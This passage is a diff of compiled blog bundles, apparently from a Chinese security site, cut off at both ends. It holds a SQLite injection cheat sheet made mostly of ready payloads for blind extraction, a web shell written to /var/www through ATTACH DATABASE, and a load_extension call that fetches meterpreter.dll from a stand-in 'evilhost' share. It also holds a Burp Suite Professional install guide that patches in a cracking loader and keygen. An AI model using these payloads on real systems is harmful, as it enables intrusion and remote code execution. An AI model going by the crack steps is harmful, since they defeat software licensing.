\u7248\u672c",id:"sqlite-\u7248\u672c",level:2},{value:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784",id:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784",level:2},{value:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d",id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d",level:2},{value:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d",id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d",level:2},{value:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570",id:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570",level:2},{value:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d",id:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d",level:2},{value:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f",id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f",level:2},{value:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\uff08\u6392\u5e8f\u4f9d\u636e\uff09",id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\u6392\u5e8f\u4f9d\u636e",level:2},{value:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef",id:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef",level:2},{value:"\u57fa\u4e8e\u65f6\u95f4",id:"\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93",id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93",level:2},{value:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-Load_extension",id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-load_extension",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const l={a:"a",code:"code",h2:"h2",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(l.table,{children:[(0,t.jsx)(l.thead,{children:(0,t.jsxs)(l.tr,{children:[(0,t.jsx)(l.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(l.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(l.tbody,{children:(0,t.jsxs)(l.tr,{children:[(0,t.jsx)(l.td,{style:{textAlign:"left"},children:(0,t.jsx)(l.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(l.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,t.jsx)(l.h2,{id:"sqlite-\u6ce8\u91ca",children:"SQLite \u6ce8\u91ca"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"--\n/**/\n"})}),"\n",(0,t.jsx)(l.h2,{id:"sqlite-\u7248\u672c",children:"SQLite \u7248\u672c"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"select sqlite_version();\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784",children:"\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u6570\u636e\u5e93\u7ed3\u6784"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT sql FROM sqlite_schema\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d",children:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u8868\u540d"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'\n"})}),"\n",(0,t.jsx)(l.p,{children:"\u4f7f\u7528\u6781\u9650 X+1 \u504f\u79fb X \u63d0\u53d6\u6240\u6709\u8868\u683c\u3002"}),"\n",(0,t.jsx)(l.h2,{id:"\u6574\u6570\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d",children:"\u6574\u6570/\u57fa\u4e8e\u5b57\u7b26\u4e32-\u63d0\u53d6\u5217\u540d"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'\n"})}),"\n",(0,t.jsx)(l.p,{children:"\u5bf9\u4e8e\u5e72\u51c0\u7684\u8f93\u51fa"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),\"TEXT\",''),\"INTEGER\",''),\"AUTOINCREMENT\",''),\"PRIMARY KEY\",''),\"UNIQUE\",''),\"NUMERIC\",''),\"REAL\",''),\"BLOB\",''),\"NOT NULL\",''),\",\",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570",children:"\u5e03\u5c14\u503c-\u8ba1\u7b97\u8868\u6570"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d",children:"\u5e03\u5c14\u503c-\u679a\u4e3e\u8868\u540d"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f",children:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\u6392\u5e8f\u4f9d\u636e",children:"\u5e03\u5c14\u503c-\u63d0\u53d6\u4fe1\u606f\uff08\u6392\u5e8f\u4f9d\u636e\uff09"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef",children:"\u5e03\u5c14\u503c-\u57fa\u4e8e\u9519\u8bef"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u57fa\u4e8e\u65f6\u95f4",children:"\u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93",children:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-\u9644\u52a0\u6570\u636e\u5e93"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"ATTACH DATABASE '/var/www/lol.php' AS lol;\nCREATE TABLE lol.pwn (dataz text);\nINSERT INTO lol.pwn (dataz) VALUES (\"<?php system($_GET['cmd']); ?>\");--\n"})}),"\n",(0,t.jsx)(l.h2,{id:"\u4f7f\u7528-sqlite-\u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-load_extension",children:"\u4f7f\u7528 SQLite \u547d\u4ee4\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4-Load_extension"}),"\n",(0,t.jsx)(l.pre,{children:(0,t.jsx)(l.code,{className:"language-sql",children:"UNION SELECT 1,load_extension('\\\\evilhost\\evilshare\\meterpreter.dll','DllMain');--\n"})}),"\n",(0,t.jsx)(l.p,{children:"\u6ce8\u610f\uff1a\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6b64\u7ec4\u4ef6\u5904\u4e8e\u7981\u7528\u72b6\u6001"}),"\n",(0,t.jsx)(l.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,t.jsx)(l.p,{children:(0,t.jsx)(l.a,{href:"https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf",children:"\u6ce8\u5165\u57fa\u4e8e SQLite \u6570\u636e\u5e93\u7684\u5e94\u7528\u7a0b\u5e8f-Manish Kishan Tanwar"})})]})}function h(e={}){const{wrapper:l}={...(0,i.R)(),...e.components};return l?(0,t.jsx)(l,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/393be207.fea3fd1f.js b/en/assets/js/393be207.fea3fd1f.js new file mode 100644 index 0000000..25c40d6 --- /dev/null +++ b/en/assets/js/393be207.fea3fd1f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4134],{10591:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>p,default:()=>i,frontMatter:()=>s,metadata:()=>o,toc:()=>d});const o=JSON.parse('{"type":"mdx","permalink":"/en/markdown-page","source":"@site/src/pages/markdown-page.md","title":"Markdown page example","description":"You don\'t need React to write simple standalone pages.","frontMatter":{"title":"Markdown page example"},"unlisted":false}');var a=t(74848),r=t(28453);const s={title:"Markdown page example"},p="Markdown page example",c={},d=[];function l(e){const n={h1:"h1",header:"header",p:"p",...(0,r.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"markdown-page-example",children:"Markdown page example"})}),"\n",(0,a.jsx)(n.p,{children:"You don't need React to write simple standalone pages."})]})}function i(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(l,{...e})}):l(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>p});var o=t(96540);const a={},r=o.createContext(a);function s(e){const n=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function p(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:s(e.components),o.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/398711d2.96d6ff06.js b/en/assets/js/398711d2.96d6ff06.js new file mode 100644 index 0000000..524ac21 --- /dev/null +++ b/en/assets/js/398711d2.96d6ff06.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4120],{28453:(e,n,s)=>{s.d(n,{R:()=>t,x:()=>d});var r=s(96540);const a={},i=r.createContext(a);function t(e){const n=r.useContext(i);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:t(e.components),r.createElement(i.Provider,{value:n},e.children)}},38839:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>l,contentTitle:()=>d,default:()=>p,frontMatter:()=>t,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","title":"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/03.\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/03.\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindowsLinuxMac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539"},"next":{"title":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565"}}');var a=s(74848),i=s(28453);const t={},d="\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883",l={},o=[{value:"WINDOWS\u5b89\u88c5\u6559\u7a0b",id:"windows\u5b89\u88c5\u6559\u7a0b",level:2},{value:"MACOS \u5b89\u88c5\u6559\u7a0b",id:"macos-\u5b89\u88c5\u6559\u7a0b",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function c(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"\u6700\u65b0burpsuite202510\u4e13\u4e1a\u7248\u66f4\u65b0\u4e0b\u8f7dwindowslinuxmac\u6700\u65b0\u7248\u65e0\u9700-java-\u73af\u5883",children:"\u6700\u65b0BurpSuite2025.10\u4e13\u4e1a\u7248\uff08\u66f4\u65b0\uff09\u4e0b\u8f7dWindows/Linux/Mac.\u6700\u65b0\u7248\u65e0\u9700 Java \u73af\u5883"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-11-04 17:57:00"})]})})]}),"\n",(0,a.jsxs)(n.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f",(0,a.jsx)(n.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u4efd\u9762\u5411\u6e17\u900f\u6d4b\u8bd5/\u5e94\u7528\u5b89\u5168\u5de5\u7a0b\u5e08\u7684 Burp Suite 2025.10 \u4e13\u4e1a\u7248 ",(0,a.jsx)(n.strong,{children:"\u5b89\u88c5\u4e0e\u63d2\u4ef6\u914d\u7f6e"})," \u5168\u6d41\u7a0b\u6307\u5357\uff08\u542b Windows / macOS / Linux\uff09\uff0c\u5e76\u4e14\u540e\u7eed\u66f4\u65b0 Burp \u53ea\u9700\u8981\u4e0b\u8f7d \u53cc\u51fb Burp \u6700\u65b0\u5b89\u88c5\u5305\uff0c\u5373\u53ef\u66f4\u65b0\uff0c\u65e0\u9700\u4efb\u4f55\u914d\u7f6e\u3002"]}),"\n",(0,a.jsxs)(n.p,{children:["\u672c\u6b21\u5206\u4eab\u7684 ",(0,a.jsx)(n.strong,{children:"BurpSuite 2025.10 \u4e13\u4e1a\u7248\u5b8c\u6574\u8d44\u6e90"}),"\uff08\u542b\u5b89\u88c5\u7a0b\u5e8f\u3001\u6559\u7a0b\u3001\u63d2\u4ef6\u96c6\uff09\u5747\u5df2\u6253\u5305\u4e0a\u4f20\u81f3\u767e\u5ea6\u7f51\u76d8\u3002\u6709\u9700\u8981\u7684\u670b\u53cb\uff0c\u8bf7\u5173\u6ce8\u516c\u4f17\u53f7 ",(0,a.jsx)(n.strong,{children:"\u201c\u5c0f\u738b\u8bf4\u5b89\u5168\u201d"}),"\uff0c\u5728\u540e\u53f0\u56de\u590d\u5173\u952e\u8bcd ",(0,a.jsx)(n.strong,{children:"\u3010BurpSuite2025.10\u3011"}),"\uff0c\u5373\u53ef\u83b7\u53d6\u4e0b\u8f7d\u94fe\u63a5\uff01"]}),"\n",(0,a.jsxs)(n.p,{children:[(0,a.jsx)(n.strong,{children:"\u3010\u6e29\u99a8\u63d0\u793a\u3011"})," \u672c\u8d44\u6e90\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4e4b\u7528\uff0c\u8bf7\u52ff\u7528\u4e8e\u975e\u6cd5\u7528\u9014"]}),"\n",(0,a.jsx)(n.h2,{id:"windows\u5b89\u88c5\u6559\u7a0b",children:"WINDOWS\u5b89\u88c5\u6559\u7a0b"}),"\n",(0,a.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u4e0b\u8f7d\u5bf9\u5e94\u7cfb\u7edf\u7684\u5b89\u88c5\u5305\uff0c\u4f8b\u5982\u6211\u662f ",(0,a.jsx)(n.strong,{children:"windows amd64"})," \u67b6\u6784\u7684\u7cfb\u7edf\uff0c\u6211\u9009\u62e9\u4e0b\u8f7d ",(0,a.jsx)(n.code,{children:"burpsuite_pro_windows-x64_v2025_10_1.exe"})," \u3001 ",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"}),"\u3001",(0,a.jsx)(n.code,{children:"burpsuite hash.txt"})]}),"\n",(0,a.jsxs)(n.p,{children:["\u8ba1\u7b97\u5176 \u5b89\u88c5\u5305\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u662f\u5426\u4e0e\u5b98\u7f51\u63d0\u4f9b\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u4e00\u81f4"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-powershell",children:'\nPS C:\\Users\\Administrator\\Downloads> Get-FileHash -Path "burpsuite_pro_windows-x64_v2025_10_1.exe" -Algorithm MD5\n\nAlgorithm Hash Path\n--------- ---- ----\nMD5 646508514E8FBB19224BC7F118840931 C:\\Users\\Administrator\\Downlo...\n\n\nPS C:\\Users\\Administrator\\Downloads>\n'})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756441.png",alt:"image-20251104172707465"})}),"\n",(0,a.jsx)(n.p,{children:"\u82e5 md5 \u503c\u5339\u914d\u4e86\u5c31\u9009\u62e9\u53cc\u51fb\u5b89\u88c5\u5305\uff0c\u5e76\u9009\u62e9\u5b89\u88c5\u4f4d\u7f6e\u3002"}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756442.png",alt:"image-20251104173412093"})}),"\n",(0,a.jsxs)(n.p,{children:["\u5b89\u88c5\u5b8c\u6210\u540e\uff0c\u5c06",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"})," \u79fb\u52a8\u5230 ",(0,a.jsx)(n.code,{children:"Burp"})," \u7684\u5b89\u88c5\u76ee\u5f55"]}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756443.png",alt:"image-20251104173548153"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\uff0c\u5c06\u4e0b\u9762\u7684\u6587\u4ef6\u66ff\u6362\u6210\u4e0b\u65b9\u7684\u5185\u5bb9"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"C:\\Program Files\\BurpSuitePro\\BurpSuitePro.vmoptions\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-tex",children:"-XX:MaxRAMPercentage=50\n-include-options settings.vmoptions\n-include-options user.vmoptions\n--add-opens=java.desktop/javax.swing=ALL-UNNAMED\n--add-opens=java.base/java.lang=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED\n-noverify\n-javaagent:burpsuitloader-4.11.22-all.jar=loader,han\n"})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756444.png",alt:"image-20251104173637566"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\u627e\u5230 burp \u5b89\u88c5\u5305\u5b89\u88c5\u7684 java.exe,\u5b83\u4f4d\u4e8e\u76ee\u5f55\u4e0b\u7684\u8fd9\u4e2a\u6587\u4ef6\u4e2d,\u542f\u52a8\u6ce8\u518c\u673a"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-powershell",children:'& "C:\\Program Files\\BurpSuitePro\\jre\\bin\\java.exe" -jar .\\burpsuitloader-4.11.22-all.jar\n'})}),"\n",(0,a.jsx)(n.h2,{id:"macos-\u5b89\u88c5\u6559\u7a0b",children:"MACOS \u5b89\u88c5\u6559\u7a0b"}),"\n",(0,a.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u4e0b\u8f7d\u5bf9\u5e94\u7cfb\u7edf\u7684\u5b89\u88c5\u5305\uff0c\u4f8b\u5982\u6211\u662f ",(0,a.jsx)(n.strong,{children:"macos m2"})," \u67b6\u6784\u7684\u7cfb\u7edf\uff0c\u6211\u9009\u62e9\u4e0b\u8f7d ",(0,a.jsx)(n.code,{children:"burpsuite_pro_macos_arm64_v2025_10_1.dmg"})," \u3001 ",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"}),"\u3001",(0,a.jsx)(n.code,{children:"burpsuite hash.txt"})]}),"\n",(0,a.jsxs)(n.p,{children:["\u8ba1\u7b97\u5176 \u5b89\u88c5\u5305\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u662f\u5426\u4e0e\u5b98\u7f51\u63d0\u4f9b\u7684",(0,a.jsx)(n.strong,{children:"md5"}),"\u4e00\u81f4"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"\u279c ~ md5sum burpsuite_pro_macos_arm64_v2025_10_1.dmg\n4ddf2e8f7ca2c11a3f9dc46e75e594db burpsuite_pro_macos_arm64_v2025_10_1.dmg\n"})}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756445.png",alt:"image-20251104170936843"})}),"\n",(0,a.jsxs)(n.p,{children:[(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756446.png",alt:"image-20251104171034781"}),"\u82e5\u4f60\u7684\u5b89\u88c5\u5305\u7684 md5 \u4e0e\u5b98\u7f51\u63d0\u4f9b\u7684\u4e0d\u4e00\u81f4\uff0c\u90a3\u4e48\u8bf7\u4e0d\u8981\u5b89\u88c5"]}),"\n",(0,a.jsxs)(n.p,{children:["\u53cc\u51fb\u5b89\u88c5\u5305\uff0c\u5c06 ",(0,a.jsx)(n.strong,{children:"Burp Suite Professional.app"})," \u79fb\u52a8\u5230 ",(0,a.jsx)(n.strong,{children:"Applications"})]}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756447.png",alt:"image-20251104171254485"})}),"\n",(0,a.jsxs)(n.p,{children:["\u7136\u540e\u5c06",(0,a.jsx)(n.code,{children:"burpsuitloader-4.11.22-all.jar"})," \u79fb\u52a8\u5230 ",(0,a.jsx)(n.code,{children:"/Applications/Burp Suite Professional.app/Contents/Resources/app"}),"\u76ee\u5f55\u4e0b"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"cp burpsuitloader-4.11.22-all.jar '/Applications/Burp Suite Professional.app/Contents/Resources/app'\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\uff0c\u5c06\u4e0b\u9762\u7684\u6587\u4ef6\u66ff\u6362\u6210\u4e0b\u65b9\u7684\u5185\u5bb9"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"/Applications/Burp Suite Professional.app/Contents/vmoptions.txt\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-tex",children:"-XX:MaxRAMPercentage=50\n-include-options settings.vmoptions\n-include-options user.vmoptions\n--add-opens=java.desktop/javax.swing=ALL-UNNAMED\n--add-opens=java.base/java.lang=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED\n--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED\n-noverify\n-javaagent:burpsuitloader-4.11.22-all.jar=loader,han\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u7136\u540e\u6253\u5f00\u6ce8\u518c\u673a\uff0c\u8fd0\u884c\u4e00\u4e0b\u547d\u4ee4"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:'cd "/Applications/Burp Suite Professional.app/Contents/Resources/app" && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" -jar 